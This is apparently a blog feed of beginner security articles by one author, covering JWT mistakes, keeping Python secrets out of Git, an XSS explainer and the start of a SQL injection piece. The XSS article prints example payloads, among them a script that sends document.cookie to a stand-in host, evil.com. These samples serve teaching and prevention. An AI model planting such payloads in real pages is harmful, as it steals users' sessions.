&lt;strong&gt;Signature&lt;/strong&gt; – the result of applying the indicated algorithm to the concatenation of the header and the payload, using a secret key (HMAC) or a private key (RSA/ECDSA).
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When the token is received, the server verifies the signature and, if it is valid, trusts the claims without querying the database, although additional checks (e.g., revocation lists) can be combined in some cases. This architecture enables efficient scaling of APIs and microservices, provided that signing and validation are performed correctly.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 5 Most Common Security Mistakes
&lt;/h2&gt;

&lt;p&gt;Below are the flaws that appear most frequently in audits and pentests and that often cause breaches in systems that use JWT.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. &lt;code&gt;none&lt;/code&gt; Algorithm Enabled
&lt;/h3&gt;

&lt;p&gt;The JWT standard allows the signing algorithm to be specified in the header. Some frameworks accept the value &lt;code&gt;none&lt;/code&gt;, which indicates that the token is unsigned. An attacker can craft an arbitrary token with &lt;code&gt;"alg":"none"&lt;/code&gt; and modify the claims without the server detecting it. This vector is one of the most critical.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;kid&lt;/code&gt; (Key ID) Injection
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;kid&lt;/code&gt; field lets the receiver select the public key used to verify the signature. If the application does not strictly control the accepted values, an attacker can inject a &lt;code&gt;kid&lt;/code&gt; that points to a key they control, causing the signature to be validated with the wrong key. This vulnerability, known as &lt;em&gt;kid injection&lt;/em&gt;, appears in several JWT security guides.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Use of a Weak Secret Key
&lt;/h3&gt;

&lt;p&gt;When HMAC algorithms are used (e.g., &lt;code&gt;HS256&lt;/code&gt;), security depends on the strength of the shared secret. Using short, predictable passwords or storing them in plain text makes brute‑force or dictionary attacks feasible for generating a valid signature. Bugs related to &lt;em&gt;weak secret&lt;/em&gt; are common in quick implementations or development environments.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Algorithm Confusion
&lt;/h3&gt;

&lt;p&gt;Some servers accept both symmetric (HMAC) and asymmetric (RSA/ECDSA) algorithms. If an attacker changes the algorithm in the header without the backend verifying it, they can switch from an HMAC signature to an RSA one without knowing the private key, causing a token signed with a public key to be accepted as valid.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Missing Mandatory Validations (expiration, audience, etc.)
&lt;/h3&gt;

&lt;p&gt;RFC 8725 states that certain claims must be validated obligatorily: &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;nbf&lt;/code&gt;, &lt;code&gt;iat&lt;/code&gt;, and &lt;code&gt;aud&lt;/code&gt;. Ignoring these checks allows an expired or replayed token to be accepted, opening the door to replay attacks or identity spoofing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Practices to Avoid the Mistakes
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Disable &lt;code&gt;none&lt;/code&gt;&lt;/strong&gt; – Configure your JWT library to reject any token that declares &lt;code&gt;"alg":"none"&lt;/code&gt; and, if possible, remove that option from the source code.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strict &lt;code&gt;kid&lt;/code&gt; control&lt;/strong&gt; – Validate that the &lt;code&gt;kid&lt;/code&gt; comes from a whitelist of identifiers and load the corresponding key securely.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Robust secret key&lt;/strong&gt; – Use secrets of at least 256 bits generated randomly and store them in a secret manager (e.g., Vault or AWS Secrets Manager).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix the algorithm&lt;/strong&gt; – Explicitly define the algorithm your application will accept and reject any token that specifies a different one.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Validate critical claims&lt;/strong&gt; – Implement verification of &lt;code&gt;exp&lt;/code&gt;, &lt;code&gt;nbf&lt;/code&gt;, &lt;code&gt;iat&lt;/code&gt;, and &lt;code&gt;aud&lt;/code&gt; as recommended by RFC 8725. Consider revoking tokens via a blacklist when necessary.
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Some best‑practice guides recommend storing JWTs in cookies with the &lt;code&gt;HttpOnly&lt;/code&gt; and &lt;code&gt;Secure&lt;/code&gt; flags, or in client‑side storage protected against XSS, to reduce the risk of theft via malicious scripts.&lt;/p&gt;

&lt;h2&gt;
  
  
  When It’s Better to Avoid JWT
&lt;/h2&gt;

&lt;p&gt;In environments where session load is low and immediate revocation of access is required, a traditional server‑side cookie‑based session can be safer and easier to manage. Likewise, if the architecture does not need stateless communication between microservices, using JWT may introduce unnecessary complexity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;JSON Web Tokens provide an efficient way to convey authentication information, but their security hinges on careful configuration. The five mistakes described—&lt;code&gt;none&lt;/code&gt;, &lt;code&gt;kid&lt;/code&gt; injection, weak keys, algorithm confusion, and missing validations—are critical points that any developer or DevSecOps team should review. Applying the best practices from RFC 8725 and following recommendations from specialized sources helps mitigate these risks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://freetool24.com/es/articles/jwt-tokens-explained" rel="noopener noreferrer"&gt;JWT Tokens Explicados: Estructura, Seguridad y Errores Comunes&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.quantumsec.es/recursos/seguridad-jwt-oauth-apis/" rel="noopener noreferrer"&gt;Seguridad JWT y OAuth en APIs: Errores Comunes | QuantumSec&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://secra.es/es/blog/que-es-jwt-seguridad" rel="noopener noreferrer"&gt;Qué es un JWT (JSON Web Token): seguridad y bugs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://simpletool.app/blog/jwt-explained?lang=es" rel="noopener noreferrer"&gt;JWT explicado: estructura, seguridad y errores comunes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>api</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
    <item>
      <title>How to Keep Secrets in Python Without Pushing Them to GitHub</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 19:36:13 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/how-to-keep-secrets-in-python-without-pushing-them-to-github-174j</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/how-to-keep-secrets-in-python-without-pushing-them-to-github-174j</guid>
      <description>&lt;h1&gt;
  
  
  How to Keep Secrets in Python Without Pushing Them to GitHub
&lt;/h1&gt;

&lt;p&gt;In Python application development it’s common to work with API keys, access tokens, or database credentials. Accidentally publishing these values in a public repository can compromise your project’s security and generate unexpected costs. Below is a practical, straightforward method to keep your secrets out of the code and prevent them from ending up on GitHub.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Understanding the Risk of Storing Secrets in the Repository
&lt;/h2&gt;

&lt;p&gt;Git records every change permanently. Even if you delete a secret in a later commit, the value remains in the history and anyone who clones the repository can retrieve it. This situation is described in the best‑practice guide for secret management in development teams, which recommends preventing sensitive values from entering the source tree from the start【3】. Moreover, public repositories are indexed by search engines and can be automatically scanned by bots looking for exposed keys.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Using &lt;code&gt;.env&lt;/code&gt; Files and the &lt;code&gt;python‑dotenv&lt;/code&gt; Library
&lt;/h2&gt;

&lt;p&gt;The simplest and most widely adopted solution is to store the values in a plain‑text file called &lt;code&gt;.env&lt;/code&gt;. Each line contains an environment variable in the form &lt;code&gt;NAME=value&lt;/code&gt;. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;API_KEY=12345abcde
DB_PASSWORD=mi_contraseña_secreta
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The file is never committed to the repository; it lives locally or in the deployment environment. When your application starts, the &lt;strong&gt;python‑dotenv&lt;/strong&gt; library reads the &lt;code&gt;.env&lt;/code&gt; file and loads those variables into the process environment, so you can access them with &lt;code&gt;os.getenv()&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;dotenv&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;load_dotenv&lt;/span&gt;

&lt;span class="nf"&gt;load_dotenv&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;               &lt;span class="c1"&gt;# Load .env into the environment
&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;API_KEY&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;db_pass&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getenv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;DB_PASSWORD&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This practice is outlined in the guide on secret and API‑key management in Python, which advises keeping secrets out of the code and loading them only when needed【1】.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Protecting the &lt;code&gt;.env&lt;/code&gt; File with &lt;code&gt;.gitignore&lt;/code&gt; and Best Practices
&lt;/h2&gt;

&lt;p&gt;To make sure the file never gets included in commits, add it to the project’s &lt;code&gt;.gitignore&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# .gitignore
.env
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It’s good practice to create a &lt;code&gt;.env.example&lt;/code&gt; file that contains only the variable names without values. This way, any collaborator knows which variables need to be defined without exposing real data.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# .env.example
API_KEY=
DB_PASSWORD=
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When the project is initialized, each developer copies this file to &lt;code&gt;.env&lt;/code&gt; and fills in the local values. If you accidentally commit the file, you can purge it from history with tools like &lt;code&gt;git filter-branch&lt;/code&gt; or &lt;code&gt;git filter-repo&lt;/code&gt;, although preventing the inclusion in the first place is the ideal approach【3】.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Advanced Alternatives for Production Environments
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 GitHub Secrets
&lt;/h3&gt;

&lt;p&gt;GitHub provides a mechanism called &lt;em&gt;Secrets&lt;/em&gt; that allows you to store encrypted values at the repository or organization level. These secrets can be consumed by GitHub Actions during CI/CD pipelines without appearing in logs. The official GitHub documentation explains how to create and use these secrets securely【2】.&lt;/p&gt;

&lt;p&gt;In a workflow, a secret is accessed with the syntax &lt;code&gt;${{ secrets.NAME }}&lt;/code&gt; and passed to the container or script that runs the application. This option is ideal when deployment is performed entirely on GitHub’s infrastructure.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 External Secret Managers
&lt;/h3&gt;

&lt;p&gt;For more complex projects, you can integrate specialized services such as HashiCorp Vault, AWS Secrets Manager, or Azure Key Vault. These systems offer automatic credential rotation, auditing, and policy‑based access control. Although their setup is more involved, they provide an additional security layer that goes beyond a simple &lt;code&gt;.env&lt;/code&gt; file.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Quick Checklist to Avoid Exposing Secrets
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;th&gt;✅ Yes&lt;/th&gt;
&lt;th&gt;❌ No&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Add &lt;code&gt;.env&lt;/code&gt; to &lt;code&gt;.gitignore&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Keep a &lt;code&gt;.env.example&lt;/code&gt; without values&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Review history with &lt;code&gt;git log --stat&lt;/code&gt; before publishing&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Use &lt;code&gt;python-dotenv&lt;/code&gt; to load variables&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Configure GitHub Secrets for CI/CD&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Avoid printing sensitive variables in logs&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rotate credentials regularly&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Following this checklist on every new project significantly reduces the risk of leaks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Keeping secrets out of source code is an essential practice for any Python developer publishing to GitHub. By using a &lt;code&gt;.env&lt;/code&gt; file together with &lt;code&gt;python-dotenv&lt;/code&gt;, protecting it with &lt;code&gt;.gitignore&lt;/code&gt;, and supplementing with GitHub Secrets or external managers, you can ensure that your keys and passwords remain confidential in both development and production.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ready to secure your next project?&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Create a &lt;code&gt;.env.example&lt;/code&gt; file right now, add &lt;code&gt;.env&lt;/code&gt; to your &lt;code&gt;.gitignore&lt;/code&gt;, and test variable loading with &lt;code&gt;python-dotenv&lt;/code&gt;. If you use GitHub Actions, configure at least one secret and watch your pipeline run without revealing sensitive information. Protect your code and sleep easy!&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.juanbretti.com/es/posts/2026-08-28_managing_secrets_api_keys_python_dotenv/" rel="noopener noreferrer"&gt;Gestión de Secretos y API Keys en Python: Guía de .env&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/es/get-started/learning-to-code/storing-your-secrets-safely" rel="noopener noreferrer"&gt;Almacenamiento de los secretos de forma segura - GitHub Docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://administraciondesistemas.com/gestion-secretos-env-vault-claves-git/" rel="noopener noreferrer"&gt;Gestión de secretos: del .env a Vault sin dejar claves en Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.github.com/es/actions/concepts/security/secrets" rel="noopener noreferrer"&gt;Secretos - Documentación de GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.geeksforgeeks.org/python/how-to-hide-sensitive-credentials-using-python/" rel="noopener noreferrer"&gt;How to hide sensitive credentials using Python - GeeksforGeeks&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>beginners</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>XSS: the most common web vulnerability, explained with examples</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 19:35:47 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/xss-the-most-common-web-vulnerability-explained-with-examples-3mgh</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/xss-the-most-common-web-vulnerability-explained-with-examples-3mgh</guid>
      <description>&lt;h1&gt;
  
  
  XSS: the most common web vulnerability, explained with examples
&lt;/h1&gt;

&lt;p&gt;Cross‑Site Scripting (&lt;strong&gt;XSS&lt;/strong&gt;) attacks continue to top the lists of web vulnerabilities. The reason is simple: a single point where the application turns user‑supplied data into code is enough for the browser to execute it as if it were native — a scenario that occurs far too often in real‑world projects (Source [3]).&lt;/p&gt;




&lt;h2&gt;
  
  
  What is XSS and why it remains the most frequent problem?
&lt;/h2&gt;

&lt;p&gt;XSS is a vulnerability that allows an attacker to inject malicious scripts, usually JavaScript, into pages viewed by end users. The browser runs that code without suspicion (Source [4]). The root cause is the lack of validation or sanitization of user input before it is incorporated into the generated HTML (Source [1]).  &lt;/p&gt;

&lt;p&gt;Unlike vulnerabilities that require complex configurations or infrastructure access, XSS hinges on a single failure point: any field that accepts external data (comments, search forms, URL parameters) and inserts it directly into the server’s response. For that reason, even in 2025 it remains the most common flaw on the web (Source [3]).&lt;/p&gt;




&lt;h2&gt;
  
  
  Types of XSS and practical examples
&lt;/h2&gt;

&lt;p&gt;There are three main variants, each with its own attack vector and danger level (Source [6]):&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Reflected XSS
&lt;/h3&gt;

&lt;p&gt;The malicious script is sent to the server via a request and &lt;strong&gt;is reflected&lt;/strong&gt; immediately in the HTML response.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;GET /search?q=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the page displays the searched term without escaping it, the browser will execute &lt;code&gt;alert('XSS')&lt;/code&gt;. This type is common in internal search engines or contact forms that echo back the submitted value.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Stored XSS
&lt;/h3&gt;

&lt;p&gt;The payload is stored in a database or other persistent medium and served to any user who visits the affected page.  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;  &lt;/p&gt;

&lt;p&gt;A forum allows users to create posts. An attacker publishes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Check out my photo! &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://evil.com/steal?c=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every visitor who reads the message will execute the script and send their cookie to the attacker. This is the most dangerous type because the injection persists and affects multiple users.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. DOM‑based XSS
&lt;/h3&gt;

&lt;p&gt;The attack occurs &lt;strong&gt;on the client side&lt;/strong&gt;: the malicious script manipulates the Document Object Model (DOM) via JavaScript that processes user data (e.g., &lt;code&gt;location.hash&lt;/code&gt; or &lt;code&gt;innerHTML&lt;/code&gt;).  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable code on the page&lt;/span&gt;
&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;output&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;innerHTML&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the attacker navigates to &lt;code&gt;https://victim.com/#&amp;lt;script&amp;gt;steal()&amp;lt;/script&amp;gt;&lt;/code&gt;, the URL fragment is inserted without sanitization and the script runs. This vector does not require any server interaction, making it hard to detect with traditional scans.&lt;/p&gt;




&lt;h2&gt;
  
  
  How XSS is exploited in practice
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identify the injection point&lt;/strong&gt; – The attacker tests input fields (forms, GET/POST parameters, headers) and checks whether the response contains the data unencoded (Source [2]).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build the payload&lt;/strong&gt; – Choose a script that fulfills the goal: stealing cookies, redirecting to phishing sites, loading a cryptocurrency “miner”, etc. Recent resources provide &lt;strong&gt;real‑world payloads&lt;/strong&gt; and &lt;em&gt;bypass&lt;/em&gt; techniques to evade basic filters (Source [3]).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Execute and exfiltrate&lt;/strong&gt; – When the victim loads the compromised page, the browser treats the script as its own. A typical case is capturing &lt;code&gt;document.cookie&lt;/code&gt; and sending it to a server controlled by the attacker.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Escalate&lt;/strong&gt; – With the stolen session, the attacker can act on behalf of the user, access confidential data, or even create new attack vectors inside the application.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The critical factor is that &lt;strong&gt;the browser does not distinguish&lt;/strong&gt; between legitimate code and injected code; it simply runs whatever it receives. Therefore, prevention must focus on stopping any untrusted data from becoming executable code.&lt;/p&gt;




&lt;h2&gt;
  
  
  Effective measures to prevent XSS
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Input validation and sanitization
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Whitelist&lt;/strong&gt;: accept only the characters you expect (e.g., alphanumerics and a limited set of symbols).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sanitization libraries&lt;/strong&gt;: use battle‑tested tools (e.g., DOMPurify) that strip dangerous tags and attributes.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Output escaping (output encoding)
&lt;/h3&gt;

&lt;p&gt;Before inserting data into HTML, attributes, JavaScript, or CSS, apply the &lt;strong&gt;appropriate escaping&lt;/strong&gt; for the context (HTML‑entity, JavaScript‑string, URL‑encoding). This practice eliminates the chance that the browser interprets the content as code (Source [5]).&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Content Security Policy (CSP)
&lt;/h3&gt;

&lt;p&gt;A well‑configured CSP restricts the sources from which scripts may be loaded. For example, &lt;code&gt;script‑src 'self'&lt;/code&gt; blocks the execution of injected scripts that do not originate from the same domain, dramatically reducing the impact of a successful XSS (Source [5]).&lt;/p&gt;

&lt;h3&gt;
  
  
  4. HTTP‑Only and Secure flags on cookies
&lt;/h3&gt;

&lt;p&gt;Mark session cookies with &lt;code&gt;HttpOnly&lt;/code&gt; to prevent JavaScript from accessing them, limiting the damage of an attack that manages to inject code.  &lt;/p&gt;

&lt;h3&gt;
  
  
  5. Reviews and automated testing
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vulnerability scanners&lt;/strong&gt;: tools that detect reflected or stored injection points.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Manual penetration testing&lt;/strong&gt;: especially for DOM‑based XSS, which often slips past scanners.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Development team education
&lt;/h3&gt;

&lt;p&gt;Many flaws persist due to lack of knowledge. Training developers on &lt;strong&gt;how and why XSS occurs&lt;/strong&gt; and on the correct use of escaping functions is a first‑line defense (Source [3]).&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Cross‑Site Scripting remains the most common web flaw because &lt;strong&gt;any untreated data can become executable code&lt;/strong&gt;. Understanding its three variants—reflected, stored, and DOM‑based—and the exploitation steps enables the design of concrete defenses: validate and sanitize input, escape output, apply CSP, and harden cookies. Prevention is not optional; it is an essential practice for protecting user confidentiality and integrity.&lt;/p&gt;

&lt;p&gt;**¿Listo para poner&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.zyrion.es/xss-2025-guia-tecnica-prevencion" rel="noopener noreferrer"&gt;XSS en 2025: por qué sigue siendo el fallo más común y cómo prevenirlo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://scansearch.net/es/articles/xss-cross-site-scripting-guide/" rel="noopener noreferrer"&gt;Cross-Site Scripting (XSS): tipos, ejemplos y prevención&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://miguelacm.es/blog/xss-content-security-policy" rel="noopener noreferrer"&gt;XSS explicado: cómo funciona el ataque y cómo bloquearlo con CSP&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://h4ckercademy.com/blog/tipos-de-xss-explicados" rel="noopener noreferrer"&gt;Tipos de XSS: reflejado, almacenado y basado en DOM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.penligent.ai/hackinglabs/es/xss-cheat-sheet-tecnicas-avanzadas-de-pruebas-de-penetracion-y-ejemplos-de-carga-util/" rel="noopener noreferrer"&gt;Hoja de trucos XSS: Técnicas avanzadas de pruebas de penetración y ejemplos de carga útil&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>beginners</category>
      <category>javascript</category>
    </item>
    <item>
      <title>SQL Injection Explained for Beginners: How It Works and How to Prevent It</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 19:30:31 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/sql-injection-explained-for-beginners-how-it-works-and-how-to-prevent-it-45c6</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/sql-injection-explained-for-beginners-how-it-works-and-how-to-prevent-it-45c6</guid>
      <description>&lt;h1&gt;
  
  
  SQL Injection Explained for Beginners: How It Works and How to Prevent It
&lt;/h1&gt;

&lt;p&gt;SQL injection (SQLi) is one of the oldest and most dangerous attacks against web applications that handle databases. Despite its long history, it remains a frequent threat because many developers build dynamic queries without properly validating user input. In this article you will discover, in a practical and straightforward way, what SQL injection is, how it is carried out, and, most importantly, what measures you can apply today to protect your projects.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is SQL Injection and Why Is It Dangerous?
&lt;/h2&gt;

&lt;p&gt;An SQL injection occurs when an application inserts user‑provided data directly into an SQL statement without sanitizing it. The attacker exploits this lack of control to alter the query logic and, thereby, bypass authentication, extract confidential information, or even modify and delete data.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“SQL injection is an attack that manipulates dynamic SQL statements to bypass authentication or expose data, taking advantage of web applications that generate queries from unvalidated user data.” (Guru99)¹&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The consequences can be severe: from leaking customer data to taking full control of the database server. That’s why understanding the attack mechanism is the first step toward preventing it.&lt;/p&gt;

&lt;h2&gt;
  
  
  How SQL Injection Works: Step‑by‑Step Process
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Unvalidated input&lt;/strong&gt;
The application receives data from the user (for example, a login field) and inserts it directly into an SQL string.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
